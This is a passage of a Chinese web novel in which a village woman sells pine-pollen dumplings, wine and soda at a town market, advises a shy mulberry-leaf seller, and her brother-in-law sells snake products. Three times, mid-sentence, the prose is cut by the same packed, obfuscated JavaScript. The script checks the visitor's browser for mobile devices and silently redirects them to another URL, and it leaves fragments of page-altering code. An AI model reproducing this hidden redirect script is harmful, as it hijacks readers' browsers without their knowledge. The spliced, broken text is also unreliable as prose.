“你还别说,这地儿就是给我买了,又能咋的?何况我可是正儿八经交过钱的,那这地就是我的!你俩与其和我吵,还不如趁早去寻个没人的地方哩!走走走!” 徐晔不服输地还想再说几句,却被已经重新挑上担子的丁宝珠拉住了衣袖,硬生生给拽走了。 徐晔倒是没觉得这动作有什么不妥,只不乐地问道: “你拉我做啥?” 丁宝珠回头见那大汉把麻袋放在了他口中所谓的花钱买的位置,思索片刻才道: “镇上肯定和村里不同,也不知会不会有什么专门管理这种贩子摆摊的官儿,说不定那汉子没有诓我们,他是真的交了钱买了那块地界,毕竟今天还开市,生意也一定比往常好,大家都争着要块好地呐。” 徐晔越听越皱眉,问: “那岂不是今天街上的位置都被买了占了?你……我的意思是,我早就有买家,直接去卖了东西就行,可你咋办?” “所以我们要快点去找个适合的位置呀,现在还是早市的时辰,快走吧。” 徐晔见这件事好像压根就没有让丁宝珠气馁,心里不禁松了一点——这么看来,反而是他不够冷静了。 镇上开市,不但各家店铺早早就开门迎客了,连门外都挤满了各种摊子:卖粮食、牲畜、皮革、干货、调料的、卖木器、篾器、漆器、铜器的,更有卖鞋、粗布,补伞、补席、补衣裳的,还有造公仔、批脚甲的,远比平时还要琳琅满目、丰富多彩。 丁宝珠在人海中摩肩接踵,时不时也目不暇接,好不容易才找到了同样不大的地方,这回倒是没有什么忽然窜出来的人抢地了,可旁边的摊贩却都已经在叫卖自己摊上的商品了,可想而知都想在赶市的时候大赚一笔。 丁宝珠再度放下担子,抹了抹额头上已经渗出的细汗,就对徐晔说: “这里应该可以了,你先去吧,说不定等你回来了,我还没有卖完呢。” “好。” 徐晔也放下了帮丁宝珠拿的那些东西,想了想,又望望四周,似乎是在记着这地方,再道: “你先卖着,过会儿我来找你。” 说完,他就转头离开了这里。 丁宝珠简单整理了下自己的小摊子,只是松花团子趁热吃会更好,所以那两个筐子上还盖着布头。 想要卖出去,那就先纯靠她的吆喝了,另外就是松花酒和松针汽水,都用坛子放着,不过来看也不知那是什么。 她又往两旁瞧了眼,只见自己左边是一个售卖嬉具的摊贩,毕竟赶市时孩子的数量也有不少。而她的右边则是一位年轻妇人,地上置着一片宽大的深色的布,上面摆着一堆绿葱葱的叶子。 丁宝珠一时瞧不出那什么叶子,不过如今最重要的还是自己的生意,所以她清清嗓,高声就喊了起来: “卖松花团子咯!又好吃又健体的松花团子咧!只有这一季的买卖!——” “新鲜酿制的松花酒,快来尝一尝!还有好喝的松针汽水!——” 她这声音果然够大,都把两旁贩子的声给盖过去了,幸好那两人并没有因此而生气。 丁宝珠又吼了几声,果然就有人上前来瞧瞧了,不得不说这赶市的行人就是比平日里多。 “这是卖啥的?”有人问。 其实丁宝珠喊得那么大声,离得近的人不可能听不清,但前者依然是耐心仔细地解释道: “我这里卖松花团子的,软软糯糯可好吃了!还有自酿的松花酒和松针汽水!客人要不要买来尝尝?” 她说着,便把最上面的布头给揭开,露出一个个黄澄澄软柔柔的松花团来,被闷了许久,不仅有股米香,更是有阵异样的香气。 那人考虑了会儿,便问道: “咋卖的?” 丁宝珠笑吟吟地回答道: “一块儿三文钱,两块儿五文钱,口味可以拼。” 这松花团其实也就是覆盖着松花粉的团子,原生态天然的松花粉是完全免费获得的,又没有什么新奇的馅料,大多数人又是不清楚松花的功效的,所以丁宝珠定价依然和以前的凉糕一样,免得没人来买。 “哦?有啥口味的?”那人又问。 丁宝珠说道:“有豆沙馅和红枣馅,都是现炒的馅料,包在里面可好吃了,现在又是吃早食的时候,客人,您就买了尝尝看吧?” 那人又思考了会儿,许是也才来赶市——很多人背后都背着用来存放物品的筐子,松口道: “行吧,我要两个,两种馅儿各要一样!” “好的,您稍等。” 丁宝珠笑道,拿张油纸来包了两个松花团,再递过去。 “一共五文钱,您收好了,好吃再来,不过只限今日哦。” 那人交了五文钱,直接就把那团子露出个尖尖来,顺势咬了一口。 那表皮软糯柔和,仿佛舌尖都能将之戳破,从而露出里面甜香的馅料。更是因为保温过,虽不是真的新鲜出炉,那余温却让馅料中多出了一分流动的感觉。 这两种馅料都是有些甜蜜的,很容易腻口,可表皮上裹着的那种黄色粉末却莫名带着一抹浅浅的松木气味,和馅料混合在一块后,不但有了股清香,更是成了清爽不腻起来。 那人吃着团子眼前一亮——这吃上去可比普通团子好吃多了! 不过到底来说那也只是个用来垫补的团子而已,何况过来赶市,那带来的钱要使在刀刃上才行,所以纠结到最后,又是离丁宝珠的摊子远了,到底是没有再买。 但是他没有买,丁宝珠的叫卖倒是起了些微作用,越来越多的人驻足在她的摊子前,不是在看她的松花团,就是在看她那两坛饮品。 事实证明,虽然每人的口味各不相当,但绝大多数人还是觉得那松花团的味道是不错的。而丁宝珠除了在忙着装团子收钱,偶尔也要给客人解释几句其他的话。 “这坛子里的是啥?” 有人问道,丁宝珠忙答着说: “坛子里的是松花酒,对活络经脉、祛风补气最是有用的。” 只是这松花酒要比她之前卖的那种米酒还贵些,这又属于是药酒的行列,普通人难免觉得没啥太大用处,就不要了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701799|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是那人又摆摆手道: “哎呀,我不是说那酒,我是说你刚刚吆喝的那个松针……松针啥来着?” 丁宝珠也反应过来,补充道: “哦……您指的是那松针汽水吧?” “对对!不过那、那汽水又是个啥?是饮子么?” 丁宝珠笑道:“当然是了,喝起来不仅甜甜的,还有松针香气呢,而且那口感……怕也是和寻常饮子不同!” “哦?” 那人来了兴致,便问道: “怎么卖的?” “三文钱一碗,不过若是客人您自带了容器可以装,那就能享受半价购买了。” 丁宝珠这一次又把自带杯半价的策略给提了上来。来到镇上赶市的人们比过去多得多,可能一天都要花费在这里和路上,有的人不爱在外面解决饥渴,也就自带干粮和水源——没有容器又怎么盛水呢?所以今天大概是最适合这么做的了。 那人想着也不是很贵,便拿出了自己的水囊来,说道: “那我要一份你这松针汽水尝尝!” “好嘞!” 丁宝珠接过水壶,又打开了其中一个坛盖,攥着一把酒提子,利索地将那水囊给装满了。收了钱后,她笑道: “客人,您尝尝这味道如何?” 那人本就是听了叫卖才来的,立刻就仰头品了一口,谁知水囊里的液体才灌进了嘴里,猛然感觉那舌面上蓦然感觉出现了许多密密匝匝的小气泡在不断冲击着口中,但好在那并不激烈。 那人皱着鼻子咂了咂嘴,不过下一秒,那微小的冲击感消失了,转而是成了摊主声称的甜味,而那甜味之间又有一抹清雅的松木香气,可以说是又香又甜,这要是再拿去湃一湃,怕是能更加清凉沁齿了。 他又往那水囊口子处闻了闻,也有一股子幽雅的木质香,这才动容道: “不错不错,你这个所谓的松针汽水,和其他饮子大不一样啊,我把这份喝了,你再给我打一份!” 丁宝珠笑道:“当然可以,客人喜欢就好了。” 于是这回,那人仰起头咕咚咕咚喝了个干净,没想到那细小的气泡消失后,反而在口中多了一点点刺刺的麻感,可那又与花椒带来的味道不一样。舌头变得些许酥酥麻麻的,可他却古怪地感到少许心旷神怡—— 嗯,说是这样说,但其实完全能汇总成一个字:爽! 原先觉得口感奇怪的念头马上消失了,那人又让丁宝珠打了一份,也不知是不是被刺激到了食欲,他还买了些松花团子一并带走了。 而旁边正在打量的人眼看这幕场景,不由得也被勾起了好奇心,纷纷掏出了自己的水囊、竹杯和木杯来,都想瞧瞧那究竟是个什么味道,那还有半价的优惠,不买白不买。 而那松针汽水一入口,有诧异的,有惊叹的,还有像是猛然打通了任督二脉的,各个都在仰头一鼓作气地喝下,最后再丢出一句感叹来。 其实这个松针汽水远不能和后世的汽水相比,那所谓的舒爽程度要差上一大截子呢,可显然至今为止这里怕是还没有这种饮子,新奇的口感很快吸引到了大部分人来。 看来不管何时何地,肥宅快乐水依旧是很能令人快乐的产物! 丁宝珠见松针汽水的销量一下子就上去了,连忙推销起自己其他的吃食来,也有人看在她的面子上,就一起买了松花团子。 今天本就人多,又是一个小摊子,丁宝珠的两个筐子也实在装不了太多东西,便很快卖出去了大半,这使她越来越不想拘泥于摆摊了。 可松花团和松针汽水差不多都能卖出去了,不知那松花酒,又能怎么卖出去呢? 65. 松花酒 也不知是不是那松针汽水的名声传去了别的地方,愈发多的人过来一探究竟,而就在这时,丁宝珠忽然见到有个十分眼熟的人,虽是穿着长袍摇着折扇,但因为起初就给了她一段印象,所以丁宝珠很快就想起来——那不是躺坐在木板车上被别人推着走的人么? 最重要的是,这人身上指定有钱! 丁宝珠想着,忙着又多叫卖了几声,那人果然循声过来,瞧着年纪也不算很大,打了一打扇子,颇显得意气风发,便问道: “娘子,你这有什么饮子?” 丁宝珠紧忙招呼道: “有松花酒和松针汽水,前者补身,后者解渴,不知客人要哪种?” 原以为会和其他人一样要那松针汽水喝,却没想到那人问道: “补身子?怎么补的?” 也许和丁宝珠想的一样,眼前这人是个不差钱的主,那么接下来自己的回答就更要仔细一点才行。 丁宝珠略略思考后,笑道: “这酒是用松花酿制而成的,松花可就在这旬间有,过时就得等到来年去了。而且它还能够润肺养心、祛风益气,最主要的是能……” 丁宝珠说到这顿了顿,一副神秘的口吻小声笑道: “能补肾壮阳!所以说真真是一款好酒,要不是今天镇上开市,我还不会酿,也不会来卖呢!” 那人听闻后哈哈大笑几声,把手里的扇子折起来,敲了敲脑袋,才说道: “好好好,你这么讲,我就不得不买来尝尝了。” 他说完,又朝着后头挥了挥手,便上来了一个像是小厮似的人物,只是那小厮更像是在这里赶市的人们,不仅背后背着的筐子里已装满了不知从哪里买来的货物,就连那辆手推车上面也是放了不少,所以眉宇间也有些发苦的样子。 嗯……什么时候自己也去搞个手推车? 那小厮停下车,又在车上翻了翻,取出了一个酒坛子递过来,丁宝珠明白,这是要打包带走了,不过自己这里倒也没什么能用的容器就是了。 丁宝珠接过打量了下,便道: “客人,你这个坛子都能装一斗酒了,我这里定的是一斤二十五文钱,您看是装满还是?” 那人大手一挥道: “没事,都装满吧!” 丁宝珠听了,面上不动,心里却是喜不自胜——这松花酒直到现在买的人也是寥寥无几,结果一卖就是大单,她能不兴奋吗? 要知道一斗酒,起码有小几斤,近乎能把她今天带的所有的酒都给包圆了! 如此想着,丁宝珠看了眼自己的坛子,也差不多是那重量,便提议道: “客人,我总共就带了这些酒,也有一斗多了,不如就全部卖给你吧,我也好收摊了。” 那男人又笑了笑,揶揄道: “你这娘子,说你不会做生意,还懂得多送我这初次上门的客人一些,可说你会做生意,你就这么急着撂挑子不干了?” 丁宝珠也不恼,笑道: “毕竟这是补酒,有很多人不识得,好不容易有一个识货的,那我不得多说道说道?也是客人您慧眼识珠,不然我哪能提早收摊了?总而言之,还是托了您的福才对,这多出来的酒就算是我送您的了!” “你这好话说得还算顺嘴,人也爽快!” 那人貌似还真是被说动满意了,就从衣间的荷包里取出了一小块银子掷了过来,丁宝珠下意识接住,再掂量了掂量。 来到这里也有不少时日了,她又是在做生意,所以也摸过不少钱,能够知道那大概是多少——而掌心里的重量,让她发现这足足有着一钱左右的银子。 好在她先前已经卖出去许多吃食,也伸手去自己的荷包里取钱道: “客人,您等等,我给你找钱……” “不用了,先把酒装了吧。”那人摆了摆手,仿佛不过是扔了一枚铜板而已。“一钱银子罢了,我倒是对你这酒比较感兴趣。” 任何地方都一定少不了沽酒的,而每家每户卖的酒,纵然酒的类型是相同的,可那味道总会有着千丝万缕般的不同,寻找这不同的口味,也是喝酒人的乐趣之一。 何况他一眼就知道这娘子大约是附近某个村里过来赶市的村妇,难免有一些就是擅长酿酒的,不过是一钱银子,对他而言真的不算什么。 丁宝珠无语了下——她啥时候也能像这样洒脱?! 说好听点是真的有钱,说不好听的,已经有了些暴发户的姿态了…… 可不管怎样,那也是有钱,而这钱仍旧是到她自己的口袋的,哪能这么腹诽金主?于是丁宝珠想了想,又笑道: “客人既买了酒,不如再尝尝我的松花团子,这两者可般配了,松花团也有很多人买去呢,既然不找钱,我就送你两个吧!” 男人浅笑道:“看来娘子你还是比较会做生意的,行吧,就按你说得办!” 丁宝珠便干脆连着坛子一块儿给了他,又用油纸包了两个松花团,而那小厮哼哧哼哧地将酒坛子都放去了手推车上,脸上的似乎更苦了几分。 送走那大气的男人,丁宝珠看看自己的筐子,就只剩下几个微微冷却的松花团子了,松花酒整个被包揽,松针汽水也打出了名气,所以反而是吃食落了点下风。 可这次她的生意也是快要落下帷幕了,但她也不会就在这里数钱——也不知徐晔那里怎么样了,若是他也好了,说不定还能提早回去。 丁宝珠抬手揩了揩额上的细汗,整个人直接坐了下来,弓着腰摆弄着筐里的东西。 期间还有人过来问有没有松针汽水的,可惜丁宝珠已经全都卖完了,只能失望离去,早知道她就应该再去买两个坛子并且制作再全部带过来。 也有问松花团子的,丁宝珠也一一介绍再售卖出去,这下终于是圆满完成任务了。 比起她来到时已经过去了几个时辰,不知是否是时间的缘故,她总觉得随着日头的升起,路上的人也更加络绎不绝了,比之前还要活跃。 就在她想着要不要在原地等待徐晔找来,身边却忽然传来一句话语: “你可真厉害啊,这么快就卖完了?” 丁宝珠偏眼一瞧,原来是一开始就在这里摆摊的妇人,虽是梳了妇髻,可她的年龄却与丁宝珠差不离多少,完全可以作为同龄人看待了。 她浅笑了笑,想回复什么,另一边却也接过话茬道: “是啊是啊,方才还一口气做了笔大买卖出去呢,这横财咋也不来我身上?” 而这人也就是那个售卖嬉具的贩子,妇人身前卖的则是一摊一摊树叶。不过两人的脸上倒也没有什么怨气隐怒,毕竟来到丁宝珠这里的人多,作为邻居,偶尔也会看到他们摊子上的商品,他们巴不得能有这种客流量呢! 只是要说卖嬉具的,如果能吸引到孩子,又是在赶市,做长辈的大概也不会真的不买,也就有生意了。可那妇人的生意却是不好,再加上只有那些树叶,空闲时也没听她怎样用力叫卖,几个时辰了,恐怕也没开单几次。 和两人说了一阵闲话,丁宝珠问道: “你这卖的是什么叶子?” 妇人回答道:“是桑叶,都是我家里自己种自己采的,如今正好是养蚕的好时节,所以家里让我带这些桑叶来卖了。” 她说着,双颊上不知不觉泛上一层淡淡的桃色,又轻声道: “但是我总不好意思大声开口——我要是能有你那么大嗓门就好了,随便一喊,就算客人不买,也被你吸引过来了。” 丁宝珠想着先安慰几句,那妇人却又叹口气道: “我婆婆要我卖完才能回去呢,也不知道今天到底能不能卖完……” 这一看就是个怕婆婆的小新媳妇,但丁宝珠挠挠头,想着其实自己也是在这个境况下。可突然想来,一是自己不愿退却,那李银屏纵然再怎样为难她,她总要怼回去才罢休,也不怪前者老是觉得她会造反大过她。 可那二嘛……就是徐翊徐晔对她还算不错,两个小姑子也礼貌,不然他们要是站在了统一战线,自己的处境不就更难了? 只有公公和丈夫和其他亲属的不作为,才会让婆母更气焰嚣张,让新媳妇变得畏首畏尾的。 但再怎么想,这也仅是丁宝珠的脑补,可带来的物品必须要卖完。丁宝珠思考片刻,便提议道: “你单单是卖桑叶,听着也太简单了些,而且你也说最近养蚕好,那整个镇子上也就不可能只有你卖桑叶了,货比三家,养蚕人挑到心仪的桑叶就不看了,哪里会再来看你的?上午都要过了,有的人赶市就那么几个时辰,可你还有那么多都卖不出去呢!” 妇人的神色越听越差,就差没直接哭出来了,急切问道: “那该咋办呢?姐姐,你能帮我想个法子么?” 有时候称谓也不是为了比大小,而是有尊敬的意味,丁宝珠忽然认为自己的脑补可能还真是对的,毕竟那种事也有不少。 她再度考虑了会儿,说道: “不如你也和我一样,卖吃食试试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715659|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧!” “……啥?” 妇人惊讶,她原以为丁宝珠真有什么好方法,就等着听呢,却没想到是这样,一时脸上又变得红通通的,更着急道: “这是啥法子?再说我这些桑叶,又能做啥?” “你别急,听我讲讲。”丁宝珠指着那堆桑叶耐心解释道,“你太执着于把这桑叶卖给养蚕人了,桑叶有那么多,可是比起来,养蚕人却要少多了!所以你就不要光想着把这桑叶给蚕吃,它的用处可多了呢。” “这桑叶,能够做桑叶饼、桑叶糕、桑叶饺,实在不行,最近天热,还能煮桑叶茶,就像我今天卖的饮子一样。桑叶也是一种药材呢,不过镇上的医馆药铺大概率都有自己的渠道,所以这条路可能就走不通了,那我说的你就可以去试试。你现在回家,抓紧用这桑叶做点吃食,下午再抬来卖,看看生意会如何。” 妇人听得一愣一愣的,不知没有把丁宝珠的话语给听进去,沉默了良久,却结结巴巴地说道: “可、可是,我婆婆让我一定要在今天卖完的,毕竟今天开市人多能挣钱,我要是这个时候回去,还不知道会咋说我呢。” 丁宝珠感到一阵无语,但这也不能怪前者,也不是所有人都有自己那脾性和对她好的人,便不厌其烦地道: “镇上开市也只是开这一日,可你现在的情况是东西卖不出去,要是真像你婆婆说的那样,那你岂不是今天都没法回家了?又去哪里挣钱?钱可不是大风刮来的!况且听说你家是种桑的,那桑叶肯定有很多,若是真做起了吃食生意,这主要材料就不缺了,运气好了还能够一直卖,以后攒下来的钱难道不会比今天多?” “你要是怕你婆婆,可以把你的设想对她多讲讲,触及到钱的问题了,她估计能同意,我想你应该也是会下厨的吧?” 那妇人点点头,可很快又丧气道: “但我没有做过这桑叶,我们种桑采桑,还是为了养蚕,就从来没有想过拿来吃,所以你说的那些我也不太会做。” “没关系,会下厨就好办了,我告诉你步骤就行。” 丁宝珠说着,细细给她说了那桑叶糕饼和桑叶茶的做法,其实桑叶也算是一种野菜,所以有几个小步骤需要再细致一点。 妇人安静专注地听着,到了后面,那眼里更是有了一分希冀,那脸上也终于有了少许笑意,说道: “行,那我照你说的那样试试,要实在不行,我还是安稳点吧。” 丁宝珠笑道: “不过最重要的,还是你要努力去吆喝招呼客人,但这个我就帮不了你了,还是要你主动点才行。” “好,我晓得了。”那妇人说着,就开始收拾起自己的摊子来。“我现在回去和我婆婆说说这事。” 丁宝珠念着告别,却不想妇人突然又送来的一摞桑叶来,说道: “姐姐,实在是太谢谢你了!你心灵手巧,能做那么多吃食,我也没啥,只有这桑叶了,送些给你,你回去做着吃吧!” 丁宝珠连忙婉拒,可这妇人看着有些懦弱,那力气却和自己不遑多让,推来推去,拒绝不过,到底是收下了。 送走妇人,丁宝珠就闭了摊子,有客人来就摇摇手,但也时不时观察起两旁的道路和商铺来。 说起拘泥,她最终也是不会拘束在摆个小摊子的,始终想着有一家自己的小店是最好的,可是……她要把地点定在祥安镇吗? 她倏忽发现,自己除开象山村,貌似对其他地点依旧十分陌生,但到底来说,象山村与其他邻村的大多数人们去过最远的地方可能就是祥安镇了,却不知在那之外还有没有更远大的所在。 丁宝珠想到这不禁叹了口气。 别说是出村了,她现在连村里都还没有搞定呢,一是她的生意才刚刚起步,二是即便眼前没有障碍,就她已经攒下的那些钱,真要去哪里漂一漂的话,恐怕也是不够活的。 总而言之,还是得先努力赚钱啊! 那卖嬉具的小贩又成了几笔生意后,把收来的铜板全部放进了袖口中,有一搭没一搭地与丁宝珠说着闲话,也不知是不是清楚地见到她给那妇人出了主意,仿佛也想从她这得到什么能让买卖做得更好的办法。 可那桑叶,丁宝珠还能想办法做成吃食,然而他是卖玩具的,总不能让孩子们生啃玩具吧?所以问了什么,她就随意地回答了几句而已。 只是就在这时,突然有人在旁边拍了她一下,略带点闷闷的语气响了起来: “你在干啥呢?” 66. 晔哥儿赚钱 丁宝珠回头一瞧,果然是徐晔,也只有他能够这么对她,便站起来笑道: “当然是在等你回来了,你那边怎么样?” 提到这事,徐晔原先的神情松下了些,甚至多了些许喜悦,回答道: “我把那蛇油和蛇胆都给卖了,就连那蛇皮竟然都有人买去了,所以赚了不少钱——我一定要和爹和姨母说说这事。” 这着实是个好消息,丁宝珠也跟着笑起来,兴奋道: “太好了,这些日子你的努力果然没有白费,真棒!” 徐晔愣了愣,随即耳尖那儿感觉被火苗燎了一下,再被今日的好阳光暖融融地晒着,从耳朵那一路延伸到了腮上,心里也倏忽感到涨涨的。 “嗯、嗯……” 徐晔羞讪地搔搔后脑,仿佛在特意做掩饰一般胡乱应答着。只是丁宝珠没怎么注意,而是弯腰从筐子里取出了什么,递过来道: “忙了一上午了,你饿了不?我留了点吃喝的,给你。” 徐晔又是一怔,他亲眼见着那从筐子里拿出来的黄黄的团子,是她带过来卖的,便眯眼疑问道: “你带出来的吃食,向来都是不卖完不罢休的,今儿咋这么反常?” 丁宝珠撇撇嘴,作势要拿走,一边说道: “不吃拉倒,那我就自己吃了。” 话音未落,徐晔一把就将那团子给拿走了,顺势就抬起来咬了大大一口,嘴角都留了点松花粉下来,嘟囔道: “既然你留了给我吃,那我就勉为其难地吃掉好了!” 丁宝珠翻了翻眼,不想多说什么。只是那冷却下来的团子要比热团子更硬一点,也就更噎一点了。 她见徐晔嘴里咀嚼着,又盛了一碗松针汽水——最后一碗的份量,仍然递过去。徐晔没有防备地就拿过去喝了。 这团子和早上吃着没啥太大区别,只是表面上多沾了一层粉末,本来的甜馅儿吃着就清爽了些,味道还不错。 可喝了那碗半浑浊的液体,他脸色一变,一不留神噗嗤一口吐了出来,惊讶道: “这是个啥?” “哎呀,你别吐啊,这一碗有三文钱呢。”丁宝珠拿过碗说道,“这卖得可快了,我还给你留了一碗出来呢。” 徐晔抹抹嘴,可对于这句话他也不会怀疑,毕竟那空空如也的筐子能证明她所说的话,但是…… 这饮子的口感,未免也太奇怪了吧? 碗里还剩了一点下来,徐晔总不能当着她的面给处理了,只好硬着头皮喝下。 但刚刚是没注意,仔细点再喝后,便觉得那清甜的液体中多了份细微的气泡炸裂似的感触,非常奇特,却莫名又引人着迷。 这就是她所说的……汽水? 倒是有些新奇! 徐晔半天讲不出话,丁宝珠却已把那碗给收起来了,又笑道: “好了,吃饱喝足,我也该收摊了,咱们接下来做什么去?” 徐晔反应过来,想了想后,一面帮忙整理,一面答道: “那我们去找爹姨母和妹妹们吧,这么长时间,他们应该也买好需要的东西了。” 丁宝珠答应下来,又挑起空担子和徐晔离开了这里。 而那卖嬉具的小贩见到这一幕,啧啧叹了声,怪道那娘子怎么留了点也不卖,原来是在等她夫君,给她夫君留着呢! 这小两口,关系还算不错的嘛! 原来那徐晔与丁宝珠分开后,径直就去了先前来到过的那个胭脂水粉铺子上。 而那铺子果然店门大敞,就连门口也摆放着小桌,上面置着不少妆品,又因开市,许多妇人在那驻足观望,比那时又是多出了数倍。 那客人的数量,几乎要把铺子给挤满了,徐晔在外面踯躅了片刻,好在有个店员发现了他,毕竟徐晔身上的特点实在是太突出了,一溜烟就去了店内通报。 而只不到半柱香的功夫,那摊贩在吩咐了几句店员后就火急火燎地主动出来,一见到徐晔仿佛见到最亲的熟人一般,上前说道: “哎呦郎君,您可算是来了,是来送蛇油的吗?” 徐晔挑了挑眉,问道: “你那蛇油卖得很好?” “那岂止是好啊!”摊贩立刻眉开眼笑,一张嘴开了口就犹如竹筒倒豆子一样,恐怕连招呼客人都没有那么快速地说道,“自从听了你娘子的建议,我便试着卖那蛇油,又分成一小份一小份地往外卖,果然如她所说,倒是要比那些胭脂水粉卖得还好呢。” 徐晔听了,却也没有直接拿出自己存的蛇油,而是问: “我那次卖你的蛇油,莫非到现在也没卖完?” “郎君,这又是另一码子事了!” 提到这点,那摊贩的表情就没那么喜形于色,还微微蹙了蹙眉,道: “我也不瞒您说了,其实您上次卖我的那罐子蛇油,几日前早就卖光了,我一看这销路那么好,也不能断了货啊,所以就去其他地方,或是找了其他会捕蛇的人去抓蛇来我们自己熬。但从那里得的蛇油,样子都没你的好,然而那天也没问你住在哪里,加上今天开市,我可是急得抓耳挠腮的——还好你来了!” 徐晔听完,心里就明白了大半,看来这生意是可以持续做成了。 幸好他家对于熬蛇油有一套自己的招数,熬出来的蛇油成色好看,在没卖到胭脂水粉铺子前,倒也有医馆药铺愿意收的,只是那次数没有收蛇胆的多,久而久之,家里每次几乎都要放一半留下自用,另一半能卖出去就不错了。 所以无论如何,这都要多亏了丁宝珠,若不是她那日领他来了这,打死他都不知道蛇油还能那么卖出去。 作为猎户,能把手头上打猎获得的副产品全部卖出去就是最好的,多一笔银钱,那谁不喜欢?于是徐晔指了指自己背后的筐子,斟酌道: “那蛇油我又熬了不少过来,可那价钱嘛……” 摊贩听着,如何不懂他的言下之意,搓着手眯眼笑道: “我就想着郎君还会再来的,我这不是一直在候着么?这价钱好说,您看这里有那么多客人,都是为了那蛇油的名声才来的呢!” 徐晔微笑道:“若不是有老板您懂得推销,哪有那么多人慕名而来?那咱们就谈谈价钱吧!” 上回也是尝试,最终讨价还价,一罐是四百五十文成交,可显然摊贩这次真是赚到了钱,竟然主动把价格提到了五百文,看样子也是尝到了甜头。 虽然算是一笔意外之财,可徐晔却不觉得这蛇油能够一直卖得这般好,所以又把价格再提高了五十文,是五百五十文一罐。 那摊贩原本有些纠结,可见铺头上街道上有那么多行人,咬了咬牙,到底是同意了徐晔的要求。而后者由于这段时日天天没事就去上山捉蛇,这次足足熬出了两罐子蛇油来,也就是说这回他足足赚了有一两多! 这在禁猎期的时候,已经算是一笔不小的收入了! 徐晔忍住了即将要冲出的笑意,和感到些微肉痛的老板一手交钱一手交货,秤了银子拿到手了。 但这也的确解决了摊子的燃眉之急,徐晔见老板拿了那两罐蛇油就顾不上自己带去里面处理了,也就不再打扰地离开。 而卖了大头的蛇油,徐晔准备再把剩下的蛇胆给找地方卖了。 对于这点他更为驾轻就熟,只要多找几家医馆药铺就成了。但这一次,他不仅有那菜蛇的蛇胆,还捕到了一条毒蛇,毒蛇的蛇胆更值钱,所以徐晔就去医馆把那卖了,其他的再去一些成药铺瞧瞧机会。 然而就在这时,一个蹲在某间药铺外抱着双臂愁眉苦脸的男人,不知是不是听到了徐晔在里面与老板交谈的话语,等后者出来,立马站起身趔趄着过来喊道: “郎君,你等等!” 徐晔偏头问道: “啥事?” 陌生人间,倒是只有徐晔主动的,却鲜少有人过来搭讪。 那人缩了缩肩,过了一会儿才问道: “郎君,我听你在里面卖蛇胆,所以就想问问……你这里有蛇皮卖吗?” 徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721773|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晔听了更是狐疑地皱皱眉,反问道: “想买蛇皮,你不就在药铺外了?问我做啥?” 他这种私人贩卖的,指不定开价会比铺子里贵,一般人是不会想着这么买东西的。 那人讪讪地挠挠脸颊,之后才解释道: “是这样的郎君,我家老娘重病,村里的药婆说必须要用蛇皮入药,但是我今儿来镇上好久了,也没遇到合适的。我看你也是个捕蛇人,还在这里卖,所以就来问问……” 徐晔并没有直接说明,而是又问: “药铺里咋可能没有蛇皮卖?我刚才在里面都见到了!” 那男人摇摇头道: “郎君,你是不清楚,那药婆说了,蛇换下来的蜕皮不行,一定是要捕来亲手剥下的,不然那药效就不好了,所以你这里有这样的蛇皮吗?” 所谓药婆,就是在村里走街窜巷卖药的婆婆,也算是半个医者,可究竟能不能治好病,那就两说了。 就连徐晔也知道是那蛇蜕有着药性,至于那些蛇皮,他就不了解了,不过因为抓多了蛇,那些剥下来的蛇皮,他的确一时半会儿不知该如何处理。 丁宝珠倒是说过那蛇皮可以做菜,可让他吃蛇肉也罢了,蛇皮他是真的入不了口,况且家里也没到那么艰苦的时候。 徐晔看着那男人期待的眼神,迟疑了片刻才道: “我确实是有些蛇皮,不过也是风干的,那……” 男人眼前一亮,马上颔首道: “那能卖给我不?价钱你出便是了,我绝对不杀价!” “……你还是先看看货吧。” 徐晔说着,就把筐子拿下来,将里面那些风干的蛇皮交给他看。男人端详了下,又像是在回想着什么,也许是那药婆口中的话语,不久后才慢慢笑道: “这些蛇皮的确不错,还几乎都是完整的,我就说你肯定是个专业的。这些要多少钱?我都要了!” 徐晔想了想,便道: “就和药铺里的价钱一样就行了——我这里还有蛇胆,你要不要?蛇胆也是大补之物。” “好啊好啊,郎君你真是爽快。” 面对徐晔没有抬价的行径,那男人十分高兴,当即就从怀里掏出钱数,说道: “你讲得对,等我娘病好了还要补补身子呢,你想得比我周到!” 于是徐晔带来的最后几个蛇胆和那些蛇皮都卖给了眼前这个男人,望着他兴高采烈的背影,徐晔却没有什么波澜——也不知他娘亲的病能不能被治好?可这也不是他该去多想的,毕竟他们依然是陌生人罢了。 谁让他现在只是一个无情的卖家呢? 但现下钱已经拿到手了,徐晔心里终于多了几分喜悦,这将近二两的银子,完全能够养活家里人几月的时日了。 